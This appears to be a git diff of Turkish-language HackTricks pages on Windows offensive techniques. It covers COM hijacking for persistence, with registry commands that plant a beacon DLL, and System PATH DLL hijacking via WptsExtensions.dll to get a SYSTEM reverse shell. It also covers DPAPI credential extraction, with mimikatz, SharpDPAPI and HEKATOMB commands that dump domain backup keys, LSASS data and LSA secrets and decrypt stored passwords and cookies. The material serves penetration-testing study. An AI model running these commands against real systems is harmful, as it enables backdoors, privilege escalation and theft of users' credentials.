mekanizmalar** olarak kullanılabilir. `procmon` kullanarak, bir saldırganın kalıcılık sağlamak için oluşturabileceği mevcut olmayan COM kayıtlarını bulmak kolaydır. Filtreler: +HKCU'nun değerleri kullanıcılar tarafından değiştirilebildiğinden, **COM Hijacking** **kalıcı mekanizmalar** olarak kullanılabilir. `procmon` kullanarak, bir saldırganın kalıcılık sağlamak için oluşturabileceği mevcut olmayan COM kayıtlarını bulmak kolaydır. Filtreler: - **RegOpenKey** işlemleri. - _Sonuç_ **NAME NOT FOUND** olduğunda. - ve _Yol_ **InprocServer32** ile bitiyorsa. -Hangi mevcut olmayan COM'u taklit etmeye karar verdikten sonra aşağıdaki komutları çalıştırın. _Her birkaç saniyede bir yüklenen bir COM'u taklit etmeye karar verirseniz dikkatli olun, çünkü bu aşırıya kaçabilir._ +Hangi mevcut olmayan COM'u taklit etmeye karar verdikten sonra, aşağıdaki komutları çalıştırın. _Her birkaç saniyede bir yüklenen bir COM'u taklit etmeye karar verirseniz dikkatli olun, çünkü bu aşırıya kaçabilir._ ```bash New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" @@ -49,9 +49,9 @@ Write-Host # CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1} # [öncekine benzer daha fazla...]
-Çıktıyı kontrol ederek, örneğin **her kullanıcı oturum açtığında** çalıştırılacak birini seçebilirsiniz. +Çıktıyı kontrol ederek, örneğin **her kullanıcı oturum açtığında** çalışacak birini seçebilirsiniz. -Şimdi **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** ve HKLM ile HKCU'da **{1936ED8A-BD93-3213-E325-F38D112938EF}** CLSID'sini aradığınızda, genellikle değerin HKCU'da mevcut olmadığını bulursunuz. +Şimdi **HKEY\CLASSES\ROOT\CLSID** içinde ve HKLM ile HKCU'da **{1936ED8A-BD93-3213-E325-F38D112938EF}** CLSID'sini arayarak, genellikle değerin HKCU'da mevcut olmadığını bulursunuz. ```bash # Exists in HKCR\CLSID\ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" @@ -72,6 +72,6 @@ Name Property PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. ``` -O zaman, sadece HKCU kaydını oluşturabilirsiniz ve kullanıcı her oturum açtığında, arka kapınız çalıştırılacaktır. +O zaman, HKCU girişini oluşturabilirsiniz ve kullanıcı her oturum açtığında, arka kapınız çalışacaktır. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md index dbb29df86..934f831e4 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -4,9 +4,9 @@ ## Introduction -Eğer bir **Sistem Yolu klasörüne yazabildiğinizi** bulduysanız (bu, bir Kullanıcı Yolu klasörüne yazabiliyorsanız çalışmayacaktır) sistemde **yetki yükseltmesi** yapmanız mümkün olabilir. +Eğer bir **Sistem Yolu klasöründe yazma** yeteneğiniz olduğunu bulduysanız (bu, bir Kullanıcı Yolu klasöründe yazma yeteneğiniz varsa çalışmayacaktır), sistemde **yetki yükseltmesi** yapmanız mümkün olabilir. -Bunu yapmak için, **sizinle daha fazla yetkiye sahip** bir hizmet veya işlem tarafından **yüklenen bir kütüphaneyi ele geçireceğiniz** bir **Dll Hijacking** durumunu kötüye kullanabilirsiniz ve bu hizmet, muhtemelen sistemde hiç var olmayan bir Dll'yi yüklemeye çalıştığı için, yazabileceğiniz Sistem Yolundan yüklemeye çalışacaktır. +Bunu yapmak için, **sizinle daha fazla yetkiye sahip** bir hizmet veya işlem tarafından **yüklenen bir kütüphaneyi ele geçireceğiniz** bir **Dll Hijacking** durumunu kötüye kullanabilirsiniz ve bu hizmet, muhtemelen sistemde hiç var olmayan bir Dll'yi yüklemeye çalıştığı için, yazabileceğiniz Sistem Yolu'ndan yüklemeye çalışacaktır. **Dll Hijacking nedir** hakkında daha fazla bilgi için kontrol edin: @@ -18,12 +18,12 @@ Bunu yapmak için, **sizinle daha fazla yetkiye sahip** bir hizmet veya işlem t ### Finding a missing Dll -İhtiyacınız olan ilk şey, **yazabileceğiniz Sistem Yolundan bir Dll yüklemeye çalışan** ve **sizinle daha fazla yetkiye sahip** bir **işlemi tanımlamaktır**. +İhtiyacınız olan ilk şey, **yazma yetkinizden daha fazla yetkiye sahip** bir işlemi **Sistem Yolundan Dll yüklemeye** çalışan bir işlemi **belirlemektir**. -Bu durumlarda sorun, muhtemelen bu işlemlerin zaten çalışıyor olmasıdır. Hangi Dll'lerin hizmetlerden eksik olduğunu bulmak için, mümkün olan en kısa sürede procmon'u başlatmalısınız (işlemler yüklenmeden önce). Yani, eksik .dll'leri bulmak için: +Bu durumlarda sorun, muhtemelen bu işlemlerin zaten çalışıyor olmasıdır. Hangi Dll'lerin hizmetlerden eksik olduğunu bulmak için, işlemler yüklenmeden önce mümkün olan en kısa sürede procmon'u başlatmalısınız. Yani, eksik .dll'leri bulmak için: -- **C:\privesc_hijacking** klasörünü **oluşturun** ve `C:\privesc_hijacking` yolunu **Sistem Yol env değişkenine** ekleyin. Bunu **manuel olarak** veya **PS** ile yapabilirsiniz: -```powershell +- `C:\privesc_hijacking` klasörünü **oluşturun** ve `C:\privesc_hijacking` yolunu **Sistem Yolu ortam değişkenine** ekleyin. Bunu **manuel olarak** veya **PS** ile yapabilirsiniz: +```bash # Set the folder path to create and check events for $folderPath = "C:\privesc_hijacking" @@ -40,9 +40,9 @@ $newPath = "$envPath;$folderPath" } ``` - **`procmon`**'u başlatın ve **`Options`** --> **`Enable boot logging`**'e gidin ve istemde **`OK`**'ye basın. -- Sonra, **yeniden başlatın**. Bilgisayar yeniden başladığında **`procmon`** olayları mümkün olan en kısa sürede **kaydetmeye** başlayacaktır. -- **Windows** başladıktan sonra **`procmon`**'u tekrar çalıştırın, çalıştığını söyleyecek ve olayları bir dosyada saklamak isteyip istemediğinizi **soracaktır**. **Evet** deyin ve olayları bir dosyada **saklayın**. -- **Dosya** **oluşturulduktan sonra**, açılan **`procmon`** penceresini **kapayın** ve **olay dosyasını** **açın**. +- Sonra, **yeniden başlatın**. Bilgisayar yeniden başlatıldığında **`procmon`** olayları mümkün olan en kısa sürede **kaydetmeye** başlayacaktır. +- **Windows** başlatıldıktan sonra **`procmon`**'u tekrar çalıştırın, çalıştığını söyleyecek ve olayları bir dosyada saklamak isteyip istemediğinizi **soracaktır**. **Evet** deyin ve olayları bir dosyada **saklayın**. +- **Dosya** **oluşturulduktan sonra**, açılan **`procmon`** penceresini **kapatın** ve **olay dosyasını açın**. - Bu **filtreleri** ekleyin ve yazılabilir Sistem Yolu klasöründen yüklemeye çalışan tüm Dll'leri bulacaksınız:
@@ -55,28 +55,28 @@ $newPath = "$envPath;$folderPath" Bu durumda .exe'ler işe yaramaz, bu yüzden onları göz ardı edin, kaçırılan DLL'ler şunlardı: -| Servis | Dll | CMD satırı | -| ------------------------------- | ------------------ | ------------------------------------------------------------------ | -| Görev Zamanlayıcı (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` | -| Tanılayıcı Politika Servisi (DPS) | Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` | -| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` | +| Servis | Dll | CMD satırı | +| ------------------------------- | ------------------ | --------------------------------------------------------------------- | +| Görev Zamanlayıcı (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` | +| Tanılama Politika Servisi (DPS)| Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` | +| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` | -Bunu bulduktan sonra, **privesc** için [**WptsExtensions.dll'yi nasıl kötüye kullanacağımı**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll) açıklayan ilginç bir blog yazısı buldum. Şimdi **bunu yapacağız**. +Bunu bulduktan sonra, **privesc için WptsExtensions.dll'yi nasıl kötüye kullanacağınızı** açıklayan ilginç bir blog yazısı buldum. Şimdi **bunu yapacağız**. ### Sömürü -Yani, **yetkileri artırmak** için **WptsExtensions.dll** kütüphanesini ele geçireceğiz. **Yolu** ve **adı** bildiğimiz için sadece **kötü niyetli dll'yi** **oluşturmamız** gerekiyor. +Yani, **yetkileri artırmak** için **WptsExtensions.dll** kütüphanesini ele geçireceğiz. **Yolu** ve **adı** bildiğimiz için sadece **kötü niyetli dll'yi oluşturmalıyız**. [**Bu örneklerden herhangi birini kullanmayı deneyebilirsiniz**](#creating-and-compiling-dlls). Rev shell almak, bir kullanıcı eklemek, bir beacon çalıştırmak gibi yükleri çalıştırabilirsiniz... > [!WARNING] -> Tüm servislerin **`NT AUTHORITY\SYSTEM`** ile çalışmadığını unutmayın, bazıları **`NT AUTHORITY\LOCAL SERVICE`** ile de çalışıyor ve bu daha **az yetkiye** sahiptir ve **yeni bir kullanıcı oluşturamazsınız** izinlerini kötüye kullanamazsınız.\ -> Ancak, o kullanıcının **`seImpersonate`** yetkisi vardır, bu yüzden [**yetkileri artırmak için potato suite'i**](../roguepotato-and-printspoofer.md) kullanabilirsiniz. Bu durumda bir rev shell, bir kullanıcı oluşturmaya çalışmaktan daha iyi bir seçenektir. +> Tüm hizmetlerin **`NT AUTHORITY\SYSTEM`** ile çalışmadığını unutmayın, bazıları **`NT AUTHORITY\LOCAL SERVICE`** ile de çalışır ki bu da **daha az yetkiye** sahiptir ve **yeni bir kullanıcı oluşturamazsınız** izinlerini kötüye kullanamazsınız.\ +> Ancak, o kullanıcının **`seImpersonate`** yetkisi vardır, bu yüzden [**yetkileri artırmak için potato suite'i kullanabilirsiniz**](../roguepotato-and-printspoofer.md). Bu durumda, bir rev shell, bir kullanıcı oluşturmaya çalışmaktan daha iyi bir seçenektir. -Yazma anında **Görev Zamanlayıcı** servisi **Nt AUTHORITY\SYSTEM** ile çalışıyor. +Yazma anında **Görev Zamanlayıcı** hizmeti **Nt AUTHORITY\SYSTEM** ile çalışmaktadır. -**Kötü niyetli Dll'yi** (_benim durumumda x64 rev shell kullandım ve bir shell aldım ama defender bunu msfvenom'dan olduğu için öldürdü_), yazılabilir Sistem Yolu'na **WptsExtensions.dll** adıyla kaydedin ve bilgisayarı **yeniden başlatın** (veya servisi yeniden başlatın ya da etkilenen servis/programı yeniden çalıştırmak için ne gerekiyorsa yapın). +**Kötü niyetli Dll'yi oluşturduktan sonra** (_benim durumumda x64 rev shell kullandım ve bir shell aldım ama defender bunu msfvenom'dan olduğu için öldürdü_), yazılabilir Sistem Yolu'na **WptsExtensions.dll** adıyla kaydedin ve bilgisayarı **yeniden başlatın** (veya hizmeti yeniden başlatın ya da etkilenen hizmet/programı yeniden çalıştırmak için ne gerekiyorsa yapın). -Servis yeniden başlatıldığında, **dll yüklenmeli ve çalıştırılmalıdır** (kütüphanenin **beklendiği gibi yüklendiğini kontrol etmek için **procmon** numarasını **kullanabilirsiniz**). +Hizmet yeniden başlatıldığında, **dll yüklenmeli ve çalıştırılmalıdır** (kütüphanenin **beklendiği gibi yüklendiğini kontrol etmek için **procmon** numarasını **tekrar kullanabilirsiniz**). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md index b3f7d24df..3b5712a41 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md @@ -6,52 +6,33 @@ ## DPAPI Nedir -Data Protection API (DPAPI), esasen Windows işletim sisteminde **asimetrik özel anahtarların simetrik şifrelemesi** için kullanılmaktadır ve kullanıcı veya sistem sırlarını önemli bir entropi kaynağı olarak kullanır. Bu yaklaşım, geliştiricilerin kullanıcıların oturum açma sırlarından veya sistem şifrelemesi için sistemin alan kimlik doğrulama sırlarından türetilen bir anahtar kullanarak verileri şifrelemelerine olanak tanıyarak şifrelemeyi basitleştirir; böylece geliştiricilerin şifreleme anahtarının korunmasını kendilerinin yönetmesine gerek kalmaz. +Data Protection API (DPAPI), esasen Windows işletim sistemi içinde **asimetrik özel anahtarların simetrik şifrelemesi** için kullanılmaktadır ve kullanıcı veya sistem sırlarını önemli bir entropi kaynağı olarak kullanır. Bu yaklaşım, geliştiricilerin kullanıcıların oturum açma sırlarından veya sistem şifrelemesi için sistemin alan kimlik doğrulama sırlarından türetilen bir anahtar kullanarak verileri şifrelemelerine olanak tanıyarak şifrelemeyi basitleştirir; böylece geliştiricilerin şifreleme anahtarının korunmasını kendilerinin yönetmesine gerek kalmaz. -### DPAPI Tarafından Korunan Veriler +DPAPI'yi kullanmanın en yaygın yolu, uygulamaların mevcut oturum açmış süreçle verileri güvenli bir şekilde şifrelemesine ve şifresini çözmesine olanak tanıyan **`CryptProtectData` ve `CryptUnprotectData`** fonksiyonlarıdır. Bu, şifrelenmiş verilerin yalnızca onu şifreleyen aynı kullanıcı veya sistem tarafından şifresinin çözülebileceği anlamına gelir. -DPAPI tarafından korunan kişisel veriler arasında şunlar bulunmaktadır: +Ayrıca, bu fonksiyonlar şifreleme ve şifre çözme sırasında kullanılacak bir **`entropy` parametresi** de kabul eder; bu nedenle, bu parametre kullanılarak şifrelenmiş bir şeyi şifresini çözmek için, şifreleme sırasında kullanılan aynı entropi değerini sağlamanız gerekir. -- Internet Explorer ve Google Chrome'un şifreleri ve otomatik tamamlama verileri -- Outlook ve Windows Mail gibi uygulamalar için e-posta ve dahili FTP hesap şifreleri -- Paylaşılan klasörler, kaynaklar, kablosuz ağlar ve Windows Vault için şifreler, şifreleme anahtarları dahil -- Uzak masaüstü bağlantıları, .NET Passport ve çeşitli şifreleme ve kimlik doğrulama amaçları için özel anahtarlar için şifreler -- Credential Manager tarafından yönetilen ağ şifreleri ve CryptProtectData kullanan uygulamalardaki kişisel veriler, örneğin Skype, MSN messenger ve daha fazlası +### Kullanıcı Anahtarı Üretimi -## Liste Vault -```bash -# From cmd -vaultcmd /listcreds:"Windows Credentials" /all +DPAPI, her kullanıcı için kimlik bilgilerine dayalı olarak benzersiz bir anahtar ( **`pre-key`** olarak adlandırılır) üretir. Bu anahtar, kullanıcının şifresinden ve diğer faktörlerden türetilir ve algoritma kullanıcı türüne bağlıdır ancak sonuçta bir SHA1 olur. Örneğin, alan kullanıcıları için, **kullanıcının HTLM hash'ine bağlıdır**. -# From mimikatz -mimikatz vault::list -``` -## Kimlik Bilgisi Dosyaları +Bu, özellikle ilginçtir çünkü bir saldırgan kullanıcının şifre hash'ini elde edebilirse, şunları yapabilir: -**Korunan kimlik bilgisi dosyaları** şunlarda bulunabilir: -``` -dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ -dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\ -Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ -Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ -``` -Mimikatz `dpapi::cred` kullanarak kimlik bilgileri bilgilerini alın, yanıtınızda şifreli veriler ve guidMasterKey gibi ilginç bilgiler bulabilirsiniz. -```bash -mimikatz dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 +- **DPAPI kullanılarak o kullanıcının anahtarıyla şifrelenmiş herhangi bir veriyi şifresini çözmek** için herhangi bir API ile iletişim kurmasına gerek kalmadan +- Geçerli DPAPI anahtarını oluşturmayı deneyerek **şifreyi kırmaya çalışmak** -[...] -guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe} -[...] -pbData : b8f619[...snip...]b493fe -[..] -``` -**mimikatz modülünü** `dpapi::cred` uygun `/masterkey` ile şifre çözmek için kullanabilirsiniz: -``` -dpapi::cred /in:C:\path\to\encrypted\file /masterkey: -``` -## Master Keys +Ayrıca, bir kullanıcı DPAPI kullanarak her veri şifrelediğinde, yeni bir **master key** üretilir. Bu master key, verileri şifrelemek için gerçekten kullanılan anahtardır. Her master key, onu tanımlayan bir **GUID** (Küresel Benzersiz Tanımlayıcı) ile verilir. -DPAPI anahtarları, kullanıcının RSA anahtarlarını şifrelemek için `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada {SID} o kullanıcının [**Güvenlik Tanımlayıcısı**](https://en.wikipedia.org/wiki/Security_Identifier) **dır**. **DPAPI anahtarı, kullanıcıların özel anahtarlarını koruyan anahtar ile aynı dosyada saklanır**. Genellikle 64 bayt rastgele veriden oluşur. (Bu dizinin korunduğunu ve bu nedenle `dir` komutunu kullanarak listeleyemeyeceğinizi, ancak PS'den listeleyebileceğinizi unutmayın). +Master key'ler, **`%APPDATA%\Microsoft\Protect\\`** dizininde saklanır; burada `{SID}`, o kullanıcının Güvenlik Tanımlayıcısıdır. Master key, kullanıcının **`pre-key`** ile ve ayrıca kurtarma için bir **alan yedek anahtarı** ile şifrelenmiş olarak saklanır (yani aynı anahtar, 2 farklı şifre ile 2 kez şifrelenmiş olarak saklanır). + +**Master key'i şifrelemek için kullanılan alan anahtarının alan denetleyicilerinde olduğunu ve asla değişmediğini** unutmayın; bu nedenle, bir saldırgan alan denetleyicisine erişim sağlarsa, alan yedek anahtarını alabilir ve alandaki tüm kullanıcıların master key'lerini şifrelerini çözebilir. + +Şifrelenmiş blob'lar, verileri şifrelemek için kullanılan **master key'in GUID'sini** başlıklarında içerir. + +> [!NOTE] +> DPAPI şifreli blob'lar **`01 00 00 00`** ile başlar + +Master key'leri bul: ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect @@ -64,29 +45,218 @@ Bu, bir kullanıcının bir dizi Master Key'inin nasıl görüneceğidir: ![](<../../images/image (1121).png>) -Genellikle **her master key, diğer içeriği şifreleyebilen bir şifreli simetrik anahtardır**. Bu nedenle, **şifreli Master Key'i çıkarmak**, daha sonra onunla şifrelenmiş **diğer içeriği** **şifrelemek** için ilginçtir. +### Makine/Sistem anahtarı oluşturma -### Master key'i çıkar ve deşifre et +Bu, makinenin verileri şifrelemek için kullandığı anahtardır. **DPAPI_SYSTEM LSA sırrı** üzerine kuruludur; bu, yalnızca SYSTEM kullanıcısının erişebileceği özel bir anahtardır. Bu anahtar, makine düzeyindeki kimlik bilgileri veya sistem genelindeki sırlar gibi sistemin kendisi tarafından erişilmesi gereken verileri şifrelemek için kullanılır. -Master key'i çıkarmak ve deşifre etmek için bir örnek için [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin) gönderisine bakın. +Bu anahtarların **bir alan yedeği yoktur**, bu nedenle yalnızca yerel olarak erişilebilirler: -## SharpDPAPI +- **Mimikatz**, `mimikatz lsadump::secrets` komutunu kullanarak LSA sırlarını dökerek buna erişebilir. +- Sır, kayıt defterinde saklanır, bu nedenle bir yönetici **ona erişmek için DACL izinlerini değiştirebilir**. Kayıt defteri yolu: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM` -[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1), [@gentilkiwi](https://twitter.com/gentilkiwi)'nin [Mimikatz](https://github.com/gentilkiwi/mimikatz/) projesinden bazı DPAPI işlevselliğinin C# portudur. +### DPAPI ile Korunan Veriler -## HEKATOMB +DPAPI tarafından korunan kişisel veriler arasında şunlar bulunmaktadır: -[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB), LDAP dizininden tüm kullanıcıların ve bilgisayarların çıkarılmasını ve RPC aracılığıyla etki alanı denetleyici yedek anahtarının çıkarılmasını otomatikleştiren bir araçtır. Script, ardından tüm bilgisayarların IP adreslerini çözecek ve tüm kullanıcıların tüm DPAPI blob'larını almak için tüm bilgisayarlarda smbclient gerçekleştirecek ve her şeyi etki alanı yedek anahtarı ile deşifre edecektir. +- Windows kimlik bilgileri +- Internet Explorer ve Google Chrome'un şifreleri ve otomatik tamamlama verileri +- Outlook ve Windows Mail gibi uygulamalar için e-posta ve dahili FTP hesap şifreleri +- Paylaşılan klasörler, kaynaklar, kablosuz ağlar ve Windows Vault için şifreler, şifreleme anahtarları dahil +- Uzak masaüstü bağlantıları, .NET Passport ve çeşitli şifreleme ve kimlik doğrulama amaçları için özel anahtarlar için şifreler +- Credential Manager tarafından yönetilen ağ şifreleri ve CryptProtectData kullanan uygulamalardaki kişisel veriler, örneğin Skype, MSN messenger ve daha fazlası +- Kayıt defterindeki şifrelenmiş bloblar +- ... + +Sistem korumalı veriler şunları içerir: +- Wifi şifreleri +- Planlanmış görev şifreleri +- ... + +### Master anahtar çıkarma seçenekleri + +- Kullanıcının alan yönetici ayrıcalıkları varsa, alan içindeki tüm kullanıcı master anahtarlarını şifrelerini çözmek için **alan yedek anahtarına** erişebilir: +```bash +# Mimikatz +lsadump::backupkeys /system: /export + +# SharpDPAPI +SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk] +``` +- Yerel yönetici ayrıcalıkları ile, **tüm bağlı kullanıcıların DPAPI anahtarlarını ve SYSTEM anahtarını çıkarmak için LSASS belleğine erişmek** mümkündür. +```bash +# Mimikatz +mimikatz sekurlsa::dpapi +``` +- Eğer kullanıcı yerel yönetici ayrıcalıklarına sahipse, makine anahtarlarını şifrelemek için **DPAPI_SYSTEM LSA sırrına** erişebilir: +```bash +# Mimikatz +lsadump::secrets /system:DPAPI_SYSTEM /export +``` +- Kullanıcının şifresi veya NTLM hash'i biliniyorsa, **kullanıcının anahtarlarını doğrudan şifre çözebilirsiniz**: +```bash +# Mimikatz +dpapi::masterkey /in: /sid: /password: /protected + +# SharpDPAPI +SharpDPAPI.exe masterkeys /password:PASSWORD +``` +- Eğer bir oturumda kullanıcı olarak iseniz, DC'den **anahtarları şifre çözmek için yedek anahtarı RPC kullanarak** istemek mümkündür. Eğer yerel yöneticiyseniz ve kullanıcı oturum açmışsa, bunun için **oturum belirtecini çalabilirsiniz**: +```bash +# Mimikatz +dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc + +# SharpDPAPI +SharpDPAPI.exe masterkeys /rpc +``` +## List Vault +```bash +# From cmd +vaultcmd /listcreds:"Windows Credentials" /all + +# From mimikatz +mimikatz vault::list +``` +## DPAPI Şifreli Verilere Erişim + +### DPAPI Şifreli Verileri Bulma + +Ortak kullanıcıların **korunan dosyaları** şunlardadır: + +- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*` +- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*` +- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*` +- Yukarıdaki yollarda `\Roaming\` kısmını `\Local\` olarak değiştirmeyi de kontrol edin. + +Sıralama örnekleri: +```bash +dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ +dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\ +Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ +Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ +``` +[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) DPAPI şifreli blob'ları dosya sisteminde, kayıt defterinde ve B64 blob'larında bulabilir: +```bash +# Search blobs in the registry +search /type:registry [/path:HKLM] # Search complete registry by default + +# Search blobs in folders +search /type:folder /path:C:\path\to\folder +search /type:folder /path:C:\Users\username\AppData\ + +# Search a blob inside a file +search /type:file /path:C:\path\to\file + +# Search a blob inside B64 encoded data +search /type:base64 [/base:] +``` +Not edin ki [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (aynı repodan) DPAPI kullanarak çerezler gibi hassas verileri şifre çözmek için kullanılabilir. + +### Erişim anahtarları ve veriler + +- **SharpDPAPI** kullanarak mevcut oturumdan DPAPI şifreli dosyalardan kimlik bilgilerini alın: +```bash +# Decrypt user data +## Note that 'triage' is like running credentials, vaults, rdg and certificates +SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect + +# Decrypt machine data +SharpDPAPI.exe machinetriage +``` +- **Kimlik bilgileri bilgilerini alın** şifrelenmiş veriler ve guidMasterKey gibi. +```bash +mimikatz dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 + +[...] +guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe} +[...] +pbData : b8f619[...snip...]b493fe +[..] +``` +- **Anahtarları erişin**: + +RPC kullanarak **alan yedek anahtarını** talep eden bir kullanıcının anahtarını şifre çözün: +```bash +# Mimikatz +dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc + +# SharpDPAPI +SharpDPAPI.exe masterkeys /rpc +``` +**SharpDPAPI** aracının masterkey şifre çözümü için bu argümanları da desteklediğini unutmayın (domain yedek anahtarını almak için `/rpc`, düz metin şifresi kullanmak için `/password` veya bir DPAPI domain özel anahtar dosyası belirtmek için `/pvk` kullanmanın mümkün olduğunu göz önünde bulundurun...): +``` +/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) +/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys +/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys +/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) +/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) +/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) +/rpc - decrypt the target user's masterkeys by asking domain controller to do so +/server:SERVER - triage a remote server, assuming admin access +/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) +``` +- **Veri şifrelemesini çözmek için bir anahtar kullanın**: +```bash +# Mimikatz +dpapi::cred /in:C:\path\to\encrypted\file /masterkey: + +# SharpDPAPI +SharpDPAPI.exe /target: /ntlm: +``` +**SharpDPAPI** aracı ayrıca `credentials|vaults|rdg|keepass|triage|blob|ps` şifre çözme işlemleri için bu argümanları destekler (domain yedek anahtarını almak için `/rpc`, düz metin şifresi kullanmak için `/password`, bir DPAPI domain özel anahtar dosyasını belirtmek için `/pvk`, mevcut kullanıcı oturumunu kullanmak için `/unprotect` kullanmanın mümkün olduğunu not edin...): +``` +Decryption: +/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands +/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys +/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys +/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) +/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) +/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) +/rpc - decrypt the target user's masterkeys by asking domain controller to do so +GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption +/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption + +Targeting: +/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder +/server:SERVER - triage a remote server, assuming admin access +Note: must use with /pvk:KEY or /password:X +Note: not applicable to 'blob' or 'ps' commands +``` +- **Geçerli kullanıcı oturumu** kullanarak bazı verileri şifre çözme: +```bash +# Mimikatz +dpapi::blob /in:C:\path\to\encrypted\file /unprotect + +# SharpDPAPI +SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect +``` +### Diğer makine verilerine erişim + +**SharpDPAPI ve SharpChrome**'da, bir uzak makinenin verilerine erişmek için **`/server:HOST`** seçeneğini belirtebilirsiniz. Elbette, o makineye erişebilmeniz gerekir ve aşağıdaki örnekte **alan yedekleme şifreleme anahtarının bilindiği varsayılmaktadır**: +```bash +SharpDPAPI.exe triage /server:HOST /pvk:BASE64 +SharpChrome cookies /server:HOST /pvk:BASE64 +``` +## Diğer araçlar + +### HEKATOMB + +[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB), LDAP dizininden tüm kullanıcılar ve bilgisayarların çıkarılmasını ve alan denetleyici yedek anahtarının RPC üzerinden çıkarılmasını otomatikleştiren bir araçtır. Script, ardından tüm bilgisayarların IP adreslerini çözecek ve tüm kullanıcıların DPAPI blob'larını almak için tüm bilgisayarlarda smbclient gerçekleştirecek ve her şeyi alan yedek anahtarı ile şifre çözecektir. `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp` -LDAP'tan çıkarılan 